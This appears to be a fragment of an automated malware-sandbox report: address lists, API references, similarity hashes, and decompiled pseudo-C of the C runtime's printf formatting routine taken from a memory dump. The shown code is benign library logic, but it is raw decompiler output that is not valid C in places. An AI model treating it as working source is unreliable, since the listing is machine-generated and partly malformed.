0x00000000
0x00427cf8
0x00427cf8
0x00427d02
0x00427d02
0x00427d0c
0x00427d0c
0x00427d12
0x00427d14
0x00427d1e
0x00427d1e
0x00427d21
0x00427d24
0x00427d24
0x00427d4b
0x00427d4b
0x00427d4e
0x00427d53
0x00427d75
0x00427d75
0x00427d7b
0x00427d9d
0x00427da0
0x00427de7
0x00427de7
0x00427dea
0x00427e0b
0x00427e10
0x00427e13
0x00427e15
0x00427e1b
0x00427dec
0x00427df0
0x00427df5
0x00427df8
0x00427df9
0x00427dff
0x00427dff
0x00427da2
0x00427da5
0x00427da5
0x00427da8
0x00427dca
0x00427dcf
0x00427dd5
0x00427dd6
0x00427ddc
0x00427daa
0x00427dae
0x00427db3
0x00427db7
0x00427db8
0x00427dbe
0x00427dbe
0x00427de2
0x00427d7d
0x00427d81
0x00427d86
0x00427d89
0x00427d8f
0x00427d8f
0x00427d55
0x00427d59
0x00427d5e
0x00427d61
0x00427d67
0x00427d67
0x00427e24
0x00427e27
0x00000000
0x00000000
0x00000000
0x00427e27
0x00000000
0x00427fd3
0x00427fd3
0x00427fd3
0x00427fd7
0x00000000
0x00000000
0x00000000
0x00427fd7
0x00000000
0x00000000
0x00427592
0x00427595
0x00427598
0x00000000
0x00000000
0x0042759d
0x004275a0
0x004275a5
0x00000000
0x00000000
0x00427587
0x00427587
0x0042758a
0x0042758d
0x00000000
0x00000000
0x0042757c
0x0042757f
0x00427582
0x00000000
0x00000000
0x004275aa
0x004275aa
0x004275ad
0x004275ad
0x004275b0
0x00000000
0x00000000
0x004275b3
0x00000000
0x00000000
0x0042740d
0x004281de
0x004281e4
0x004281ed
0x004281f2
0x00000000
0x004281f2
0x00427fd3
0x00427faa
0x00427faa
0x00427fae
0x00427fbb
0x00427fc1
0x00427fc7
0x00427fcd
0x00427fcd
0x00427fd0
0x00000000
0x00427fd0
0x00427fb0
0x00427fb6
0x00427fb9
0x00000000
0x00000000
0x00000000
0x00427fb9
0x00427f12
0x00427f15
0x00427f1f
0x00427f2e
0x00427f37
0x00427f4d
0x00427f53
0x00427f59
0x00427f60
0x00427f68
0x00427f68
0x00427f6e
0x00427f6e
0x00427f7d
0x00427f85
0x00427ef4
0x00427efa
0x00427efd
0x00427f00
0x00427f02
0x00000000
0x00000000
0x00000000
0x00427f02
0x00427ef4
0x00427e34
0x00427e34
0x00427e3b
0x00000000
0x00000000
0x00000000
0x00427e69
0x00427e6f
0x00427e7b
0x00000000
0x00427e7b
0x00427d4b

APIs

_get_int64_arg.LIBCMTD ref: 00427D59
__aullrem.LIBCMT ref: 00427F26
__aulldiv.LIBCMT ref: 00427F48

Strings

9, xrefs: 00427F59

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction ID: 65ac614bb643a3cf018b088df49ba4fa1ca22cf3ce19fc62092008fdc305cad5
Opcode Fuzzy Hash: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction Fuzzy Hash: EB41E371E086299FDB64DF48D989BAEB7B5BF84300F5085DAE049A7240C738AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434F9C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00434F9C(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E00428310(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E00428310(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E00428310(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E00428310(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00428330(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00428330(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E004356D0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E00435710( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E004356D0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E00435710( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E004341E0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E00435710( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E004356D0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C4F0( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435520))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E004311D0( *(_t701 - 0x251) & 0x000000ff, E0041AE00(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00435630( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00435630( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E330();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00422E20(_t616))) = 0x16;
																	E00422BB0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041ADD0(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x435558; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435540))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x435580; // 0x4d8e9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043556C))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x4355ec; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M004355B0))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E00428310(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AE00(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0xf9b80f80
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
